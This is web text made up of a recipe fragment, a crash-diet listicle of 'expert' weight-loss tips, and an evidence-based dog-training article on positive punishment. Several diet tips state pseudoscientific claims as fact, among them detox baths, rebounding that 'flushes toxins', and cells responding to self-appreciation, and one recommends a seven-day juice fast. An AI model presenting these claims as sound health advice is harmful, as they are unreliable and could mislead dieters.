How To Make

  • Wash and drain the chickpeas.
  • Marinate it in the spices.
  • Place in a preheated oven and bake for 40 minutes.

Crash Diet For Losing Weight In 10 Days

There is one important thing that you should keep in mind – that you may not end up losing as much weight as you want to. The initial few kilos/pounds will be easy to shed, but after that, it can get a little tougher. The weight loss won’t be as drastic as it was. But the thing is, you are making changes to your lifestyle and heading down a path of better health. Sustainable weight loss is better for you in the long term.

But if your are looking to lose weight real quick, maybe for an important function or to fit into a dress you haven’t worn in a while, you can lose a substantial amount of weight quickly by following a strict diet. But a word of caution before you dive deep, you may put back the weight you’ve lost once you go off the diet plan.

For more inspiration, read what the experts have to say!

Experts Tips To Lose Weight in 10 Days:

1. Astrid Swan McGuire

  •  Cut out all soda pop and only drink water and herbal tea for beverages
  • Cut out all salt and sugar!
  •  Get a minimum of 30 minutes of cardio every day. Sweat

2. Lauren Roxburgh
1. Rebounding – stimulates your lymphatic system, flushes toxins, burns fat and helps with digestion.
68% more effective than running to lose weight!
Try 15 minutes/day for 10 days.

2. Himalayan salt baths… This is = a 2 day detox + reduces inflammation and water retention. Add 1-2 cups of salt to a hot bath.
If you can’t take a bath, try a hot sauna – sweat!

3. Try Foam Rolling – to increase circulation, smooth out thick, bulky, dense areas of the body and reduce stress and calm your nervous system!

4. Drink 1/4 cup coconut H2O + 1/2 squeezed lemon + cayenne pepper to taste + 16 oz of water…2xs/day – it will de-bloat, stimulate your metabolism and make you less hungry!

3. Will Pike
1. Breathe before reaching for food:

Weight gain is generally a result of giving in to cravings, which come from our emotions, fears or lack of love. By taking a few breaths before eating, you can ask yourself what you’re REALLY craving. More times than not it will be things like peace, connection, a hug or simply some water.

2. Appreciate your body:

Some of my clients have lost up to 6 pounds in a week simply by developing a new relationship with their body. Appreciating it is like appreciating part of yourself, and sends positive signals to your cells, which in turn will start functioning better and more efficiently, leading to health and weight loss.

3. Face the truth of your current situation:

Write down the current habits and excuses that are holding you back as well as all the emotions you hold regarding your weight (ex anger, fear, guilt, sadness).

Feelings are held within the body as energy and lead to weight gain. They also affect our habits and behaviors.

Many of my clients have lost weight simply by acknowledging the truth and by bringing their current choices to their awareness.

4. Hayden William Courtland
1. Decrease your consumption of refined carbohydrates and replace with more protein and healthy fats.

2. When working out, use shorter bouts of high intensity exercise (i.e., 10 min of on and off sprints) more frequently than long, slow exercises (i.e., steady pace treadmill running).

3. Make sure you are getting plenty of quality sleep at night (at least 7 hours, preferably

5. Steve Maxwell
1. Cut out starchy carbohydrate foods e.g., sugars, starches, pastry and bread of all kinds. FRESH FRUIT IS FINE

2. Eat a large, raw vegetable salad each day and a serving of animal protein four times a week.

3. Stop any excessive water-drinking.

6. Amber Ellison Walker
1. Get enough sleep: So much is dependent on how much sleep you get every night; hormone levels, stress, decision making abilities, general mood, and appetite.

2. Don’t expect miracles: It’s common to want to meet your goals as quickly as possible. With weight loss, the slow and steady path is always the long term winner.

3. Pay Attention: Are you actually hungry when you eat? Do you stop eating before you feel over stuffed?  Are you eating mindlessly while you watch TV.

7. Dai Manuel:Dai Manuel
1. Drink MORE water

2. Eat LESS (all about creating a calorie deficit – eating a little less than what your body needs – you can do this by eating a little less, and moving a little more – I prefer doing a combo of both)

3. Move MORE (starting with the 1% solution – just 15 minutes per day – we all have 15 minutes!)

8. Kathy Glabicky1. Drinks tons of water!

2. Do some high intensity interval workouts- like Kathy G’s Tread Tabata. More bang for your buck and you get an after burn that keeps burning long after you have left the gym.

3. Eat clean! No processed foods. Fruit and veggies and lean protein only!

9. Elizabeth Kovar
-Keep Moving! This doesn’t necessarily always mean working out in a scheduled exercise routine. But moving throughout the day, such as walking, cleaning house, standing and running errands burns extra calories throughout the day. Research is now showing that those who move frequently throughout the day have been weight loss success and easily maintain goals.

-Increase Your Vegetable & Fruit Consumption! Not only is food medicine, but India is stacked with nutrient-powered fruits and vegetables such as mangosteen, pomegranates and okra. Research continuously shows that high plant-based diets not only decrease the risk of heart disease, but are slimmer in nature.

-Make a Plan! Challenging yourself to lose weight in 10 days, is beneficial for a challenge, but this is the ideal time to make a lifestyle plan. Large weightloss pursuits take time, patience and perseverance. Most large gains come from lifestyle changes, so this is the time to recognized your faults or negative habits – without judgement! 

10. Katy Clark
1. Pick protein and veggies!! Stay far from sugar and carbs. Start your day with eggs, salad for lunch and fish or chicken for dinner with veggies. Nuts and fruit for two snacks!  Clean eating is the best way to loose weight.

2. One of my Fit Chef Katy Top 10 Pitfalls is that “Liquor makes you thicker!!! ” So avoid all sips. Plus other liquid calories like smoothies, juicing and sports drinks are wasted sugar calories. I’m sure you’re not drinking soda by now so I don’t have to mention that. Try sparkling water with fruit and herbs, kim bucks, plain tea or coffee and lots of water!!

3.  Add plyometrics and sprints to your workout. Jump squats, mountain climbers or burpees plus 100 yard sprints to bring on the fat burn.  You may feel a bit winded but that means its working. Try 10 reps of each plus a sprint and repeat that circuit 5 times!  If you need more ideas look for my Fit Chef Katy channel on the Pear Sports App

11. Jaime Mcfaden
1. Stay away from any food man made!  This goes for anything in a package or something that isn’t fresh.  Try to eat lots of vegetables and lean proteins (fish, chicken, egg whites, beans…) Take it back to the basics and you will see results – extra water will help too! Put in the goods and flush out the bad stuff.

2. CUT THE SUGAR AND BOOZE – it’s only 10 days you can do it.  Check for hidden sugar in things like salad dressing, drinks and sauces- this is typically the HARDEST for my clients so it deserves its own reminder.

3. Strength training 3 times per week and 30-60 minutes of cardio everyday – the more you jiggle now the less you will later.  Fight to get tight!

12. Victoria Garcia Drago
When it comes to losing weight or maintaining a healthy weight, women and even men have asked me what the key is for years.

1. If you only have 10 days and you want to get quick results, you may opt for an organic juice cleanse for 3 days to shock your body and boost your metabolism. This will be like a reboot to your system.

2. After the juice cleanse, drink plenty of water (room temperature is best as drinking iced water can be harsh for the digestive system) with a few slices of lemon, limes, (and in the summer you can add sliced cucumbers) to keep body hydrated, your skin radiant and to keep your stomach filled. Also, most often than not, when you feel the sensation of being hungry it can be thirst. Have an 8oz glass of lemon water before eating any food, wait 10 minutes, and if still hungry, eat your food. Leave at least two hours or more in between intakes of food so your body can have time to digest. Notes: Make sure the lemon water is homemade, lemonade sold in stores is packed with sugar. Also, when making your own lemon water, make sure you do not add any sugar.

3. Last tip is mindfulness and discipline. Most people eat out of boredom or anxiety. If you find yourself bored, play your favorite music and start dancing, if you are at work, try going for a short walk during your break. Also, stay active; remember that exercise is important to maintaining a healthy weight. Think of you calories as banking… You don’t spend the money you don’t have so you don’t bounce your account, same analogy goes for food. Don’t eat calories you won’t burn through the day. Eat as many calories as your body burns to maintain weight, and eat lower amount for weight loss (consult a professional if you need guidance).

When you prepare your meals, make sure that for lunch and dinner, the bulk of your plate comes from greens and vegetables (1/2 your plate), the other ½ would be a ¼ lean protein and ¼ carbs (if you are active) , include a little bit of and healthy fats (olive oil, avocado for example).

For breakfast, try making a smoothie with plain yogurt, (plain is the best way to go because it has the smallest amount of sugar) with 1 piece of fruit of your choice and protein. If you are still hungry, try a handful of nuts (size of your palm), sliced apple w/almond or peanut butter, 2 scrambled eggs (can be mixed with some veggies).  Keep your sugar intake minimized, if any at all.  Keep your fruit intake to 3 pieces a day (fruits have sugar, even though it’s natural sugar and it’s less harmful than processed sugar). Remember that processed sugar and processed foods will leave your stomach feeling empty, leading your to eat more when unnecessary. Read labels, know what you are putting in your body. If you can’t pronounce the ingredients, and if it’s an endless list, you may be better off eating something closer to nature. The less processed the better. The closer to nature, the more nourishing it’ll be and the more satisfied you’ll be.

13. Paul Stainthorpe
1. Eat right and train right – exercising while eating a balanced diet can boost weight loss. Exercise not only makes you feel great but will make you look great too.

2. Get into a routine – A healthy routine with a balanced diet will make your weight loss goal much more achievable. Not only that but it will make your journey sustainable. Too many people lose weight (and too quickly) only to find the weigh coming back on.

3. Make sure your home is well stocked – Wandering around the house aimlessly looking for something to chew on? Make sure your house is always stocked full of fruit and snacks like raisins (or whatever you enjoy snacking on). If you don’t have it in the house you’ll be tempted to grab that bag of crisps or biscuit and everyone has those in!

14. Matt Swierzysnki
1. Reduce consumption of ’empty’ calories for instance biscuits, fizzy drinks, processed foods.

2. Get active daily – walk, run, cycle, swim, dance, play sport etc. Make exercise fun and challenge yourself to get out of your comfort zone.

3. Drink more water and also eat smaller portions 4-6 times throughout the day – use smaller plates, dishes etc.

15. Kellie Davis:Kellie Davis
1. Set small, reachable goals rather than a quick fix. You can realistically lose .5-2 pounds of fat per week. Fat loss and weight loss are not the same thing. Many diets that promote rapid weight loss factor in the loss of muscle mass and water as well. Ideally you can lose 2 pounds of fat at most in 10 days.

2. Track your food in a notebook. Write down everything you eat in a given day even if it is just one or two bites. Visually seeing what you are eating is very eye opening and it can help you pinpoint where any extra calories are coming from.

3. Increase your water intake and eat plenty of leafy green vegetables. Doing this will help you feel fuller faster and will also promote good digestion. 

16. Lisa Marie Kinder
1. ban white bread, pasta and sugar (read labels) and eat green veggies in abundance.

2. drink plenty of water; add lemon wedges and mint leaves to it

3. Manage stress levels; by resting and getting adequate amounts of sleep (6 hours), I encourage yoga weekly & 30 minutes of movement/exercise daily

17. Nicole Chaplin:Nicole Chaplin
1. Plan and write down your meals. This will help you keep on track and allow you to monitor the amount of food and beverages you are in taking. The cleaner and healthier you eat the better and quicker you will see results.

2. Get moving. The best way to lose weight and lose it rapidly is to burn more calories. If you can do a jog for 15 minutes, go for it and add an additional 5 to 10 minutes.

You get out what you put in. So boost the cardio more doing an activity you enjoy and begin to create a lifestyle.

3. Get enough sleep! Sleep affects your metabolism and weight. If you have chronic sleep deprivation it may cause weight gain by affecting the way your body processes and stores carbohydrates, and by altering levels of hormones this affect your appetite. So it’s imperative to get proper sleep and feel rejuvenated for the next day ahead.

18. Kelly LeVeque
1. Clean up your diet. Eliminate all grains, processed foods and sugar. Limit salt intake to mineral dense salts like Himalayan Pink Salt and enhance foods with herbs and spices instead of condiments. Focus on 4 oz of wild or grass fed protein at each meal, eat water rich and fiber packed vegetables to cleanse the colon and include at least a tbsp of healthy fats at each meal. (i.e.: coconut oil, avocado or raw nuts) If you are looking to kick your weight loss into overdrive, replace 1-2 meals with a #bewellsmoothie.

2. Timing is everything. Drink water (1/2 your body weight in oz) in between the meals to properly cleanse and hydrate without interfering with the digestion. Strive to maintain a least a 4 hour window between meals for proper digestion and a surge in human growth hormone that will whittle your middle.  Shoot to have a full 12 hour fast between dinner and breakfast, this will ensure your organs are getting the chance to detox appropriately and speed up weight loss. Aim for at least 8 quality hours of sleep in a cool, silent, blacked out room.

3. Get Sweaty. Yoga, weight training, sprints or an infrared sauna will work. Sweating is one of the four ways our body can detox (poop, pee, breath and sweat). When we get moving or sweat in a sauna, our body naturally works to regulates us back to normal. This effort allows our whole body to detox, burning hundreds of calories but more importantly, increasing our heart rate and breathing. Aim to sweat at least once a day and mix it up to naturally increase your bodies ability to sweat and avoid a plateau. Sweat is sexy!


19. Alex Curtis
1. Portion Control- being able to visualize portion sizes is an important diet tool.  If you understand what a portion really looks like you will be able to monitor how much you are consuming.  Here are some helpful tips.

  • 1 cup cooked rice, pasta, etc= 1 baseball
  • 1 medium fruit= 1 baseball
  • 1 cup fresh fruit/vegetables= 1 baseball
  • 3 oz. meat/poultry= deck of cards
  • 3 oz, grilled/baked fish= check book
  • 2 tbs peanut butter or hummus= 1 golf ball
  • 1 oz. cheese= 3 stacked dice
  • 1 cup yogurt= 1 baseball
  • 1 tbs dressing= 1 poker chip
  • 1 cup strawberries= about 12
  • 1 cup carrots= about 12 baby
  • ¼ cup almonds= about 24
  • 1 tsp oil= size of tip of thumb

2. Clean eating- foods we purchase daily are filled with added preservatives and sugars.  Refined sugars are a diet disaster.  It is important to limit processed foods.  Aim to eat foods that contain less than 6 ingredients.  Try not to eat things that have sugar as one of the top 4 ingredients.  This can be written as sugar, corn syrup, fructose, and many other names.  Stick to whole foods like fresh fruits and vegetables and whole grains such as quinoa, barley, and brown rice.

3. Small frequent meals- It is important to not let yourself get hungry.  In order to keep your energy up and your metabolism going you need to eat about every 4 hours.  When your body goes too long without food it starts to protect itself by storing calories and fat when you do finally eat.  Not letting yourself get too hungry will also prevent you from eating too much during meals.  Keep with 5-6 small meals throughout the day.

20. Lisa Bargstadt
Let me start by saying the weight that is first dropped is water weight (bloat).

1. Eat clean and only whole foods. Eat your proteins, carbs, and fats, but make sure they are un processed. When it comes to carbs, whole grains are great!

2. Exercise at least 5 days out of the 7 in a week. DON’T BE AFRAID TO LIFT HEAVY, but always make sure it is what your body can handle. Listen to your body!

3. Drink lots of water!! Water will help flush your body, and of course keep you hydrated!! 

21. Alexandra Williams
1. Do the least amount possible. That way you’ll be successful. For example, instead of saying, “I’ll do 30 minutes of exercise today,” then giving up when you don’t do it, say, “I’ll do 5 minutes of exercise.” You can certainly find 5 minutes.

2. Be realistic. If you gained 50 pounds over several years, plan to lose it at the same rate. So in 10 days, you should aim to lose 2 pounds. That way you’ll be successful.

3. Think of 3 foods you like, but don’t LOVE. Cut those portions in half for all 10 days. 

22. Faya
Whilst I prefer not to focus on unsustainable and rapid weight loss, the three elements that I recommend my clients focus on for their holiday shape are as follows:

1. Nutrition & Hydration – the body is 70% composed of water, and it’s involved in almost every systemic function – ensuring the appropriate level of hydration prior to your workout lifts your training efficiency, and enables your body to make full use of its fuel for your session. Eliminating refined sugars, going low-GI, opting for a diet rich in lean proteins, pursuing healthy fats (think avocados, olive oil, and fish) & eating little-and-often through the day are the best way to regulate sugar levels.

2. Training – appropriate and correct training is crucial. A plan that’s tailor-made to suit your body’s strengths and weaknesses isn’t a luxury but a necessity, otherwise injury will follow, which could really ruin holiday! Rest days are allowed so long as they’re complemented by intense on-days of maximal dedication. Compound exercises will help to burn more calories by involving more muscle groups.

3. Sleep – to facilitate the best recovery, repair and mental alertness, get 7.5 hours a night where possible.

23. Heidi Kristoffer
1. Aim to get 8 hours of sleep every night

2. Eat nurturing, wholesome, filling foods

3. Do lots of twisting poses for Detox, along with strength building Poses to build more muscle which burns more fat.

24. Jamie Crowe
1.  Cut out ALL starchy carbs and fruit – it’s almost impossible to lose any kind of significant (more then 3-5 lbs) FAT in 10 days, but you CAN lose a pretty decent amount of weight coming from water, carbs and salt.  Starchy carbs hold about three times their weight in water, so if you have 100 grams of carbs from breads that means an extra 300 grams of water you will hold on too!  So for 10 days, only veggies, no fruit and no breads!

2.  Cut out all salt besides what’s naturally in food.  This is somewhat obvious, but a major player in water retention is salt intake.  And generally speaking, most people consume too much salt in their diets, while dropping salt intake down, shoot for 100 oz’s of water per day if you are under 160 and 140 oz’s per day if your over 160.  Dropping the salt and increasing water will cause your body to drastically reduce any extra water it may be holding onto.

3. Perform 2-4 short “tabata” style work outs (20 seconds on, 10 seconds off for 8 rounds) throughout the day.  Don’t worry about making it really difficult, just get up and move your booty.  Good movements are basic body weight movements like – planks, jump squats, ground touch jump squats, pushups, air squats, lateral lunges, back ward lunges, forward lunges, squat thrusts, burpees, etc.  Mix the movements up!  Don’t think you have to perform the same movement for all 8 rounds.

Bonus tip!!!  Fix your posture!  This won’t actually cause you to lose any weight (it may though) but standing with better posture makes you look thinner.  A great, simple posture exercise is to think about pulling your belly button to your spine while squeezing your glutes.  Your abs and butt should be about 20% tight, while your doing that, think about pulling your shoulders back together.”

25. Shelly Eichas
1. Drink a full glass of water before starting each meal. You will most likely reduce the amount of calories you eat during that meal.

2. When sitting down to a meal, it should be made up of at last half vegetables(lunch and dinner, usually more fruit at breakfast time). Eat the vegetables first along with the lean protein and THEN eat the carbohydrate portion of the meal, but only if you’re still hungry. If you’re not still hungry, then don’t eat it. The starch/carbohydrate usually contains more calories than the other components in the meal, so saving it till last helps to cut unnecessary calories as most people are not still hungry by the time they finish everything else.

3. When you get a craving for something that you probably should not have while trying to lose weight, brush your teeth. It sounds silly but think about it; things do not taste as good when you have that minty, just brushed taste in your mouth. It will help to fend off cravings.

26. Michael George
1. Do a juice fast for 7 days, then introduce 1 protein shake per day into your diet for the final 3-days.

2. Reduce your carbohydrate intake to a bare minimum, just eat primarily lean protein sources, and vegetables for 10 days.

3. Do 60 to 90 minutes of moderate intensity cardio exercise for 10 days in a row.

27. Brooke Taylor1. Start keeping a food journal. Today 90% of the population uses some version of a smart phone that gives us the opportunity to download various apps. Two food apps that I recommend playing around with are “lose it” or “my fitness pal.”As we have all heard a million times “Abs are made in the kitchen, not in the gym.” Becoming aware of what you are putting in your body throughout the day is your first step at creating a long lasting program that will help you trim down your waist and start losing weight on the scale.

2. Plan Ahead. You know that feeling where you are ravenous and will eat just about anything in sight in order to make your stomach stop growling? Make sure you are consuming an adequate amount of protein and vegetables throughout the day by incorporating them in every snack and every meal. This will keep your blood sugar balanced and avoid the urge for your mid afternoon sweet treat. Pack snacks, plan ahead, and focus on giving your body nutrients/energy opposed to the first thing you see in a deli.

3. Keep your workout efficient and wear a heart rate monitor. If your goals are to lose weight you need to train entirely different then if you are trying to improve your endurance. So why would you leave it as a guessing game if you have a set goal that you want to achieve? My all time favorite model is the “Polar FT 60 Heart Rate Monitor.” My suggestion is to use this tool to aid in an interval training circuit 3x a week followed by cardio intervals. Get off the machines and incorporate stability exercises as well as full body movements into your workouts. This will not only help you improve your stability, strength, endurance, but also target your deep intrinsic muscles that support your core. You will then kill two birds with one stone getting in your strength and cardio training in one shot. By monitoring your heart rate throughout you will leave the gym energized instead of exhausted. AS you start to condition yourself over time you will naturally be forced to challenge yourself in new ways in order to achieve your goals and elevate your heart rate.

28. Terry Asher
Even before you start workout there are plenty of tricks and tips for you to lose body fat. Certain foods, hydration and protein all will play a key role in your metabolism and fat burning ability.

1. Barley For Breakfast – Swedish researchers found that eating barley or rye kernels for the first meal of the day lead to more stable blood sugar levels. Both are considered to below on the glycemic index, raising your blood sugar very slowly. This will help stabilize your blood sugar and help you avoid peaks and valleys that can leave you feeling famished.

2. Drink Plenty of Water- Water is in every cell in your body, and when dehydrated your body is running less efficiently than normal. It’s very important to stay hydrated for weight loss because it also boosts your metabolism by an additional 50 calories a day, that’s 5 pounds a year!

3. Eat More Protein- Adding about 1gram per pound of body weight can help you maintain lean muscle mass and lose weight faster. Research showed that protein could burn up to 35 percent more calories post meal.

29. Dave Asprey
1. Switch from inflammation-causing vegetable oil back to the highly stable healthy ghee your grandmother used.

2. Replace rice and potatoes with more vegetables. Cauliflower makes a great replacement for rice in any style of cooking but doesn’t end up on your hips.

3. Fructose, even from fruit, will give you food cravings all day if you have it for breakfast. If you eat fruit, eat it after dinner, not in the morning, so you can sleep during the food cravings.

30. Alicia Monae
1. Drink more water

2. Cut out extra calories (sodas, sugars, sauces, dressing)

3. Be more active, 30 min of cardio 5x a week.

31. Valerie Orsoni
1. Cut portions in half. Really. 50%. Share it or box it. So often portions are wayyyy too big. I am currently in Italy and constantly see dishes that would seem like food for trolls in some other places. And guess what? Italians are pretty much all in a great shape!

2. Start each meal with a green tea (hot, but not too hot). This will fill up your stomach which size is the size of your fist (yes, really) and will naturally curb your appetite by 25%.

3. Aim at 20,000 steps a day. Not the average 10,000. This would be a minimum to not gain weight. To lose weight you need to amp up your game and double up the minimum. Note that you can slice those 20k steps in as many steps as you want like 10 x 2000, 1 x20k, 20 x 1000, etc……

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What Is Positive Punishment in Dog Training?

Everything you need to know about the use of positive punishment in dog training.

Everything you need to know about punishment in dog training, as this sad little white dog looks on
Photo: JJ Photographer/Shutterstock

If you are a new dog owner, or even if you’ve been around dogs for a while, this article is for you. It covers the technical definition of positive punishment, examples of what it is, what we know about the risks of using it and what professional organizations advise.

Let’s get the technical definition out of the way first.

What is positive punishment in dog training?

You’ll have noticed I said positive punishment instead of just punishment. In everyday language, we often say punishment when what we technically mean is positive punishment. We can also have negative punishment, but that will be the topic of another post.

Punishment means something that reduces the likelihood of a behaviour happening again i.e. the behaviour goes down in frequency. And positive means that something is added.

So positive punishment means adding something after the dog did a behaviour that makes the frequency of that behaviour go down.

For example, if the dog jumps up and you knee them in the chest, and next time you see them the dog does not jump up, you have positively punished the dog jumping. You added something (the unpleasant sensation of a knee in the chest) and reduced the frequency of the behaviour.

Please note, I am not advocating this as a way to train a dog, and we’ll get to the reasons why in a moment. And it may also not work (e.g. if the dog perceives it as a game and keeps jumping, in which case it was not punishing).

There are risks to using punishment in dog training, even for big dogs like this Shepherd cross
Photo: Wood Water Wall/Shutterstock

Examples of positive punishment

There are lots of examples of positive punishment: yelling at the dog, tapping the dog on the nose with a newspaper, using a citronella collar to stop barking (the collar squirts citronella in the dog’s face when it detects a bark), alpha rolls or ‘dominance downs’ where the dog is rolled on their side or forced into a down position and held there after they did something the owner didn’t like, use of a prong collar that digs into the dog’s neck when they pull on the leash, hitting the dog or tugging on the leash when they do something you don’t like, using a shock collar to stop them from doing something, and so on.

This is not an exhaustive list and you may have seen other types of positive punishment too.

In everyday language, some of these get called “corrections”. For example, tugging on the leash because the dog did not sit when you asked them to is often called a “leash correction.”

But it’s important to understand that it’s still positive punishment. In other words, you have still added something (the tug on the leash that the dog feels on their neck) that has reduced the likelihood of the behaviour occurring.

One of the reasons it’s important to remember this is that dog training is not regulated and sometimes dog trainers are not very clear about the methods they use. Unfortunately people will sometimes say something is not punishment when actually it is. Even some popular dog training books are not clear in their explanations of important dog training concepts (Browne et al 2017). It makes it difficult for ordinary people to understand what their dog trainer is actually going to do to their dog.

What is punishment in dog training? A user-friendly guide to positive punishment with examples and the risks of its use

But I tried it on myself and it didn’t hurt!

Sometimes people say they put the prong collar on their arm and tugged it and it didn’t hurt. Sometimes people do this with a shock collar too. So then they think it’s okay to use it on their dog.

I think you have to give them credit for trying it, because they have started to investigate whether it is a good thing to do or not.*

The trouble is that typically they have control over the tug on the prong collar or the application of the shock, because they do it themselves (or if they have someone else do it, they know when it’s coming).

It might sound like a minor detail but it makes a big difference. It’s one thing to have control over it and another thing if it happens to you completely out of the blue – and if it keeps happening too.

Using positive punishment, including prong collars like this, can risk an aggressive response from the dog

Lack of control over something can in itself be a source of stress.

The other thing to remember is the way it works. If it works to stop a behaviour, it must be because the animal found it aversive (if they liked it or didn’t notice it, it wouldn’t reduce the frequency of the behaviour).

And finally, the skin on your dog’s neck is actually very thin. The San Francisco SPCA says “Skin on a human’s neck is actually thicker (10-15 cells) than the skin on a dog’s neck (3-5 cells).”  They have some useful resources if you want to know more about prong collars.

We tend to think that since dogs have fur they must be more protected from these things than us with just our skin. But a dog’s neck is a very sensitive area. If you think about the anatomy of the neck, it contains essential things like the windpipe. Applying pressure to the windpipe is not good for any dog, but can be especially serious in brachycephalic dogs that already struggle to breathe.

So putting something on your arm is not a good test of what it feels like to your dog. (There is of course the more general philosophical question of what it feels like to be a dog, in which case I suggest you read Inside of a Dog by Alexandra Horowitz).

But isn’t my dog trying to be dominant?

Actually, scientists are agreed that dominance is not the way to train a dog.  Dominance training has been very common (and you can still come across it in some books or on TV), but it’s an out-of-date approach to dog training.

One of the problems with the dominance approach is that it assumes the dog is always trying to be dominant over you. First of all this is not true, and secondly it sets up a view of the relationship as an adversarial one. And it might persuade people to use positive punishment (such as alpha rolls) because they think that’s what science recommends – but it’s not.

Some of the things people describe as being dominant include walking in front of you when on-leash, going out of a door ahead of you, eating before you, and getting on the bed or settee. People have told me they worry that their dog will be disobedient because they like to let it cuddle on the couch with them.

Let me reassure you that it’s perfectly fine to let your dog on the couch if that’s what you would like to do. It’s equally fine if you prefer not to; just provide the dog with a nice doggie bed and reward them for using it (you can even leave bits of food there when they aren’t looking so they find a nice surprise when they go to bed). That way they will learn to like their bed better than the couch. And you can also teach them ‘off’ if you need to.

Similarly, it’s okay if your dog walks in front of you, goes out of the door ahead of you, or eats before you. Just decide what works for you and stick to it.

On the other hand, if the dog is ahead of you because they are pulling on-leash, it’s not your dog being dominant, it’s just that dogs like to walk faster than us and there’s something interesting over there and they’d like to get there real quick please. You can fit a no-pull harness to make taking them for walks easier. A no-pull harness does not cause stress for your dog (Grainger, Mills and Montrose 2016).

If you want to know more, see my article on why dog training should not be based on dominance.

Dogs are not being dominant when they relax on the couch, like this dog rolling around on the settee
Photo: rustycanuck/Shutterstock

Are there risks with using positive punishment? 

Unfortunately scientific research on dog training methods shows there are potential risks in using positive punishment, which is an aversive method.

In his review of the scientific literature on dog training, Ziv (2017) says,

“Despite the methodological concerns, it appears that aversive training methods have undesirable unintended outcomes and that using them puts dogs’ welfare at risk. In addition, there is no evidence to suggest that aversive training methods are more effective than reward-based training methods. At least 3 studies in this review suggest that the opposite might be true in both pets and working dogs. Because this appears to be the case, it is recommended that the dog training community embrace reward-based training and avoid, as much as possible, training methods that include aversion.”

If you want more information on the research on dog training methods, check out my article new literature review recommends reward-based dog training or my dog training research resources page.

Some of the issues that are reported to occur with the use of positive punishment in dog training are an increase in fear, aggression and stress.

One study found an aggressive response from the dog when people use positive punishment (Herron, Reisner, and Shofer 2009). For example, 11% of dogs were aggressive in response to the use of a prong or choke collar; 15% when they yelled no at the dog, and 43% when they hit or kicked the dog.

The more often people use positive punishment, the more likely they are to report their dog is aggressive and/or excitable (Arhant et al 2010).

The use of aversive training techniques is a risk factor for aggression towards strangers and family members (Casey et al 2010).

And the thing that surprises some people the most is that people who report having used positive punishment to train their dog are more likely to report problem behaviours (Hiby, Rooney and Bradshaw 2004).

This is also the case when we look specifically at people who use a shock collar vs those who use rewards for training recall (getting your dog to come to you when called). The people who used a shock collar report less successful training than they expected (Blackwell et al 2012).

A Boxer dog wears an electronic collar even though there are risks to using them
Photo: Charlene Bayerle/Shutterstock

Sometimes people say they use a shock collar because they believe it is more effective. In fact in an experimental study that used professional dog trainers, there was no difference in the effectiveness of using a shock collar versus using rewards to teach recall in the presence of livestock (sheep) (Cooper et al 2014). But there were some welfare concerns with the shock collar use.

The authors say,

“it seems that the routine use of e-collars even in accordance with best practice (as suggested by collar manufacturers) presents a risk to the well-being of pet dogs. The scale of this risk would be expected to be increased when practice falls outside of this ideal.”

What do professional organizations say about using positive punishment in dog training?

In its guidelines on choosing a dog trainer, the American Veterinary Society for Animal Behaviour says

“Research shows that dogs do not need to be physically punished to learn how to behave, and there are significant risks associated with using punishment (such as inhibiting learning, increasing fear, and/or stimulating aggressive events). 

Therefore, trainers who routinely use choke collars, pinch collars, shock collars, and other methods of physical punishment as a primary training method should be avoided.”

What about fearful, anxious or aggressive dogs?

Sometimes people think that positive punishment is the only thing that will work on an aggressive dog. Unfortunately using an aversive technique may risk making the dog more aggressive. The cause of aggression is often fear and anxiety, and using positive punishment does not do anything to address the fear.

One risky scenario is when a dog is punished for growling because the owner does not like to be growled at. But they aren’t doing anything to address the reason why the dog is growling (for example, maybe the dog is afraid and wanted someone to stay away and not pet them, or they growled when their food bowl was taken away).

What can happen is the dog learns not to growl, but the issue that caused them to growl is still there. Punishment doesn’t do anything to help the dog learn to like people petting them or to like their bowl being taken away. It’s possible that next time, instead of growling, they will just bite.

If a dog growls at you, you should stop what you are doing. Ask yourself why they are growling. Then find another solution, even if it’s a long-term one that involves hiring a dog trainer to help. (And if you think an aggressive dog is about to bite you, remember what we tell children – to “be a tree” and keep absolutely still).

If your dog is fearful or anxious, then it’s especially important not to use positive punishment in case it makes the fear or anxiety worse. It could also cause the dog to become afraid of you if they associate you as the source of the punishment. Again, you may need to find a good dog trainer to help you resolve the problem.

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Shouldn’t we use all the tools available?

Some people like to use a mix of positive reinforcement and positive punishment to train their dog. This is typically called balanced dog training.

The trouble is there are a number of problems with balanced dog training. The risks of using punishment don’t disappear just because you sometimes offer treats or play as well. This is seen in some of the studies mentioned above, where many participants used both positive reinforcement and positive punishment.

Just because a range of methods are available, it doesn’t mean you have to use them all.

Luckily, tools like no-pull harnesses and automatic treat dispensers are available these days, so there are a lot more choices than there used to be for people who want alternatives to punishment. And there is a lot more good information in books, on TV and the internet than their used to be, so if you’re looking for information it’s out there (but you still have to be very careful with your sources, as there’s plenty of erroneous information on dog training too).

It’s up to you as a dog owner to use the methods that you think are safe for your dog and will work. If a dog trainer suggests a method you are not happy with, look for another trainer.

Use of punishment in dog training risks fear, as with this fearful Jack Russell
Photo: Sundays Photography/Shutterstock

How am I supposed to train my dog?

If you are used to thinking of training as a way to stop a dog from doing things, then it can take a change of perspective to start thinking about what you would like to teach your dog to do instead.

For example, you don’t want your dog to jump on people you meet out and about in the street. You have several choices for what you would like to teach. Maybe you would like the dog to sit to be petted. Maybe you would like to teach the dog to nose target the person’s hand, so the dog still gets the opportunity to sniff the person but all four paws are staying on the ground. Maybe you don’t really mind so long as those paws stay on the ground. Or maybe you would just like to be able to get the dog to walk on by and not meet every single person in the world.

All of these are possible and the one(s) that you choose are up to you. Your dog is showing very common, friendly behaviour in jumping on people to greet them, but you can train them to greet nicely the way you would like.

Instead of using positive punishment for misbehaviour, try to think of using positive reinforcement to train your dog what to do. This is better for your dog because it avoids the risks associated with positive punishment.  And there are some other advantages to using rewards in dog training that are not covered here.

For more information, see my article on positive reinforcement in dog training. You might also like to read my ultimate dog training tip.

And if you need help, you can always hire a dog trainer. Just remember that dog training is not regulated, so take care to choose a good dog trainer.

Summary: What is positive punishment in dog training?

When people talk about punishment in dog training, often they mean what is technically known as positive punishment.

Positive punishment means adding something to make the likelihood of a behaviour go down, such as using leash jerks, alpha rolls, or hitting the dog. Although many people still use positive punishment to train their dog at least some of the time, there are risks associated with its use, including the risks of fear, anxiety, stress and aggression. It’s also possible that the dog will associate the punishment with the owner and so become afraid of them. Reward-based methods are better for animal welfare, and there are even a few studies that suggest they work better.

I’ll end with a quote from Hiby, Rooney and Bradshaw (2004).

“Because reward-based methods are associated with higher levels of obedience and fewer problematic behaviours, we suggest that their use is a more effective and welfare-compatible alternative to punishment for the average dog-owner.”

It’s up to us to decide how to train our dogs, but it makes sense to use methods that are good for canine welfare.

